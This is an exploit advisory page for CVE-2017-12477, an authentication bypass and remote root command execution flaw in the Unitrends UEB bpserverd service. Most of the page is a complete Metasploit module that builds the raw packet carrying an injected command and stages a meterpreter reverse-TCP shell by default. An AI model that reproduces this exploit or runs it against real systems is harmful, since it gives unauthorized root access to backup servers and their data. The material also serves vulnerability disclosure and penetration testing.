Unitrends UEB bpserverd Authentication Bypass / Remote Command Execution

2017.10.22
Credit: Multiple
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Unitrends UEB bpserverd authentication bypass RCE', 'Description' => %q{ It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system. }, 'Author' => [ 'Jared Arave', # @iotennui 'Cale Smith', # @0xC413 'Benny Husted' # @BennyHusted ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'CmdStagerFlavor' => [ 'printf' ], 'References' => [ ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'], ['CVE', '2017-12477'], ], 'Targets' => [ [ 'UEB 9.*', { } ] ], 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'SSL' => false }, 'DisclosureDate' => 'Aug 8 2017', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(1743) ]) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check s1 = connect(global = false) buf1 = s1.get_once(-1).to_s #parse out the bpd port returned bpd_port = buf1[-8..-3].to_i #check if it's a valid port number (1-65534) if bpd_port && bpd_port >= 1 && bpd_port <= 65535 Exploit::CheckCode::Detected else Exploit::CheckCode::Safe end end def execute_command(cmd, opts = {}) #append a comment, ignore everything after our cmd cmd = cmd + " #" # build the attack buffer... command_len = cmd.length + 3 packet_len = cmd.length + 23 data = "\xa5\x52\x00\x2d" data << "\x00\x00\x00" data << packet_len data << "\x00\x00\x00" data << "\x01" data << "\x00\x00\x00" data << "\x4c" data << "\x00\x00\x00" data << command_len data << cmd data << "\x00\x00\x00" begin print_status("Connecting to xinetd for bpd port...") s1 = connect(global = false) buf1 = s1.get_once(-1).to_s #parse out the bpd port returned, we will connect back on this port to send our cmd bpd_port = buf1[-8..-3].to_i print_good("bpd port recieved: #{bpd_port}") vprint_status("Connecting to #{bpd_port}") s2 = connect(global = false, opts = {'RPORT'=>bpd_port}) vprint_good('Connected!') print_status('Sending command buffer to xinetd') s1.put(data) s2.get_once(-1,1).to_s disconnect(s1) disconnect(s2) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e fail_with(Failure::Unreachable, "#{peer} - Connection to server failed") end end def exploit print_status("#{peer} - pwn'ng ueb 9....") execute_cmdstager(:linemax => 200) end end


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